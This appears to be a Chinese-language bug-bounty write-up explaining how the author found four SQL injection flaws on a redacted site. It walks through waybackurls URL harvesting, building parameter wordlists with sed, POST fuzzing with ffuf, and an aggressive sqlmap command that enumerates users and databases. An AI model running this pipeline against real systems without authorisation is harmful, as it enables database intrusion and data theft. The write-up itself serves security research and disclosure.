如何在幾分鐘內(nèi)找到多個(gè) SQL 注入漏洞
今天來分享一下我是如何用幾分鐘發(fā)現(xiàn)某個(gè)漏洞賞金的目標(biāo)多個(gè) SQL 注入漏洞的,接下來以目標(biāo)域名 redacted.org 為例。
枚舉階段
首先我使用 waybackurls 工具查看目標(biāo)網(wǎng)站上有哪些 URL,然后看到了很多 PHP 的文件,也許可以在其中找到 SQL 注入漏洞,使用命令過濾一些結(jié)果之后輸出到文件:
waybackurls https://redacted.org/ | uro | grep “.php” > php-files.txt
查看輸出的文件,發(fā)現(xiàn)了如圖中的內(nèi)容:
看文件名感覺似乎有戲,接下來需要找一些可用的參數(shù),需要制作一個(gè)參數(shù)名字典然后暴力破解這些頁面,搞起!
獲取參數(shù)
我們基于之前輸出的內(nèi)容,將文件名和參數(shù)分離出來,然后去重:
cat php-files.txt| grep -i get | sed 's/.*.get//' | sort -u
接下來刪除 php 后綴,得到一個(gè)以文件名為關(guān)鍵詞的列表,只需在上一條命令后加上 cut -f1 -d 即可:
結(jié)果中有的有兩個(gè)單詞或者多個(gè)單詞的組合,但是我不知道其中那個(gè)單詞是參數(shù),所以就想辦法將其拆分,經(jīng)過一頓搜索,發(fā)現(xiàn)可以用命令:
sed 's/[AZ]+/\n&/g'
我認(rèn)為參數(shù)一般都是小寫,所以需要將所有大寫字符轉(zhuǎn)換為小寫,且保留之前的內(nèi)容:
接下來我們有了兩個(gè)參數(shù)字典可用,然后使用工具 FFUF 來進(jìn)行測(cè)試,先嘗試用全是小寫字符的字典:
ffuf -w lowercase-parameters.txt -u "https://redacted.org/searchProgressCommitment.php?FUZZ=5"
但是沒有任何結(jié)果!
老實(shí)說,我很郁悶,但是突然想到一個(gè)方案,把請(qǐng)求的方法改成 POST 怎么樣?命令如下:
ffuf -w lowercase-parameters.txt -X POST -d "FUZZ=5" -u "https://redacted.org/searchProgressCommitment.php"
結(jié)果得到了 commitment & id 參數(shù)。
接下來我可以對(duì)這些參數(shù)進(jìn)行測(cè)試了,復(fù)制請(qǐng)求的數(shù)據(jù)包內(nèi)容到文件中,丟給 sqlmap 去測(cè)。
漏洞利用
sqlmap 的命令如下:
sqlmap -r req3.txt -p commitment --force-ssl --level 5 --risk 3 --dbms=”MYSQL” --hostname --current-user --current-db --dbs --tamper=between --no-cast
漏洞測(cè)試成功,確實(shí)存在 SQL 注入漏洞;
接下來使用同樣的方法,測(cè)試其他 URL ,結(jié)果我找到了三個(gè)同樣存在 SQL 注入漏洞的地方。
第二個(gè) SQLI:帶有 id 參數(shù)的 ws_delComment.php。
第三個(gè) SQLI:帶有 target 參數(shù)的 getTargets.php。
第四個(gè):mailing_lists.php 帶 list 參數(shù)。
一共發(fā)現(xiàn)四個(gè) SQL 注入,太棒了!
我向安全團(tuán)隊(duì)報(bào)告了所有 SQL 注入漏洞并審核通過,他們?cè)诜e極解決問題,感謝大家的閱讀。